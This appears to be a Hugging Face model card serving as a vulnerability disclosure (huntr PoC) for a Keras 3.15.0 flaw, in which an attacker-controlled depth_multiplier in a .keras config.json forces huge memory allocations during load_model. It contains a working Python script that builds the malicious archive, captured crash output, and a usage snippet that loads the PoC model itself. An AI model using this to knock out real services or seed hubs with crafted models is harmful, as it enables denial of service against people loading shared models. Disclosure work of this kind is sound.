How to use from the
Use from the
Keras library
# Gated model: Login with a HF token with gated access permission
hf auth login
# Available backend options are: "jax", "torch", "tensorflow".
import os
os.environ["KERAS_BACKEND"] = "jax"

import keras

model = keras.saving.load_model("hf://EnigmaConsultant/huntr-poc-keras-depthwiseconv-depthmultiplier-alloc-oom")

You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Keras β€” Unbounded build-time kernel allocation via attacker-controlled DepthwiseConv depth_multiplier in .keras config.json (load_model DoS/OOM)

Summary

keras.saving.load_model() on a crafted .keras archive triggers an unbounded, attacker-controlled memory allocation before any weight data is read. The allocation size is a linear function of a single integer (depth_multiplier) taken straight from the untrusted config.json, so a ~1.5 KB model file forces the victim process to attempt an arbitrarily large array allocation, resulting in MemoryError / OOM (denial of service).

  • Target: keras (PyPI), version 3.15.0 (Keras 3 native .keras format).
  • Vulnerable file: keras/src/layers/convolutional/base_depthwise_conv.py
  • Affected layers: DepthwiseConv1D, DepthwiseConv2D (both subclass BaseDepthwiseConv), and SeparableConv1D/SeparableConv2D which reuse the same depthwise kernel allocation.
  • Class: CWE-789 (Memory Allocation with Excessive Size Value) / CWE-400 (Uncontrolled Resource Consumption).
  • Attack vector: malicious model file loaded via load_model β€” the standard huntr Model File Format threat model.

Root cause

The only validation applied to depth_multiplier is a positivity check in __init__ (line ~131):

if self.depth_multiplier is not None and self.depth_multiplier <= 0:
    raise ValueError(
        "Invalid value for argument `depth_multiplier`. Expected a "
        "strictly positive value. Received "
        f"depth_multiplier={self.depth_multiplier}."
    )

Any large positive integer passes this guard. There is no upper bound and no product-overflow guard on the resulting element count.

In build() (line ~150), the kernel shape is derived directly from depth_multiplier and the input channel count, then materialized via add_weight(...):

def build(self, input_shape):
    ...
    input_channel = input_shape[-1]   # from build_config.input_shape (untrusted)
    ...
    depthwise_shape = self.kernel_size + (
        input_channel,
        self.depth_multiplier,        # from layer config (untrusted)
    )
    self.kernel = self.add_weight(
        name="kernel",
        shape=depthwise_shape,
        initializer=self.depthwise_initializer,
        ...
    )

Total element count = prod(kernel_size) * input_channel * depth_multiplier. Both depth_multiplier (layer config) and input_shape (build_config.input_shape) come straight from the attacker-controlled config.json inside the .keras zip archive.

During load_model, deserialization calls build_from_config, which invokes build(). The weight initializer materializes the full array in memory before any bytes are read from model.weights.h5. Therefore a tiny archive can force an enormous allocation β€” the file size is completely decoupled from the allocation size.

PoC

  1. Build a benign Sequential model with a single DepthwiseConv2D(3, depth_multiplier=2) on Input((8,8,1)) and save it as benign_dw.keras (~11.8 KB).
  2. mk_evil_dw.py re-packages the .keras zip, rewriting only the DepthwiseConv2D layer's depth_multiplier in config.json to a large value. metadata.json and model.weights.h5 are copied byte-for-byte unchanged.
  3. Resulting evil_dw.keras is 1528–1529 bytes.
  4. Victim runs keras.saving.load_model('evil_dw.keras') under an address-space cap ulimit -v 3000000 (3 GiB).

mk_evil_dw.py (verbatim):

import zipfile, json, shutil, sys, os

src="benign_dw.keras"; dst="evil_dw.keras"
DM = int(sys.argv[1]) if len(sys.argv)>1 else 2_000_000_000

z=zipfile.ZipFile(src)
cfg=json.loads(z.read("config.json"))
meta=z.read("metadata.json")
wbytes=z.read("model.weights.h5")

# find depthwise layer
for L in cfg["config"]["layers"]:
    if L["class_name"]=="DepthwiseConv2D":
        L["config"]["depth_multiplier"]=DM
        print("patched depth_multiplier ->", DM)

newcfg=json.dumps(cfg).encode()
with zipfile.ZipFile(dst,"w",zipfile.ZIP_DEFLATED) as o:
    o.writestr("metadata.json", meta)
    o.writestr("config.json", newcfg)
    o.writestr("model.weights.h5", wbytes)
print("wrote", dst, os.path.getsize(dst),"bytes")

Captured evidence (verbatim)

Under ulimit -v 3000000 (3 GiB address-space cap), Keras 3.15.0:

patched depth_multiplier -> 2000000000
wrote evil_dw.keras 1528 bytes
=== LOAD ATTEMPT (ulimit 3GB) ===
EXC: numpy._core._exceptions.MemoryError
MSG: Unable to allocate 134. GiB for an array with shape (3, 3, 1, 2000000000) and data type float64
elapsed 0.0
=== NEGATIVE CONTROL: benign dm=2 loads ===
OK benign loaded: 20 params, layers ['DepthwiseConv2D']
=== confirm build size ===
SECOND-POINT MemoryError: Unable to allocate 33.5 GiB for an array with shape (3, 3, 1, 500000000) and data type float64

Observations:

  • depth_multiplier=2_000_000_000 β†’ attempt to allocate 134 GiB (shape (3, 3, 1, 2000000000)).
  • depth_multiplier=500_000_000 β†’ attempt to allocate 33.5 GiB (shape (3, 3, 1, 500000000)).
  • Allocation scales linearly and predictably with the attacker's single integer (4Γ— the multiplier β†’ 4Γ— the bytes), confirming full attacker control of allocation size.
  • Negative control: the unmodified benign model (depth_multiplier=2) loads successfully (20 params), proving the crash is caused solely by the attacker's depth_multiplier edit and not by archive corruption.

Impact

A victim who loads an untrusted .keras model β€” a routine operation for models shared on hubs/registries β€” suffers an immediate out-of-memory denial of service. The crash occurs during build() at load time, before weights are read, so no oversized weight file is needed to bypass any size heuristics. On systems without an address-space cap, the process (and potentially the host) can be driven into swap-thrash / OOM-killer territory.

Suggested fix

Bound the derived kernel element count (and/or the individual depth_multiplier / input_channel values) against a sane maximum in build() before calling add_weight, and reject configs whose declared parameter count is wildly inconsistent with the on-disk weight tensor shapes. Validating build_config.input_shape and layer hyperparameters against the actual weights in model.weights.h5 prior to materialization would close the "allocate-before-read" gap generically.

Dedup / prior work note

This is a distinct sink from previously reported Keras build-time allocation issues. The allocation-primitive family (attacker-controlled dimension in config.json β†’ oversized add_weight during build_from_config) spans several independent layer parameters; this report covers specifically DepthwiseConv's depth_multiplier in base_depthwise_conv.py, which is not the sink in the Conv2D.filters, Embedding.input_dim, Dense, RNN units, MultiHeadAttention, or compile-metrics reports. The only pre-existing guard (depth_multiplier <= 0) does not bound the upper range. No CVE currently assigned to this specific parameter as of 2026-07-16.

Downloads last month
-
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support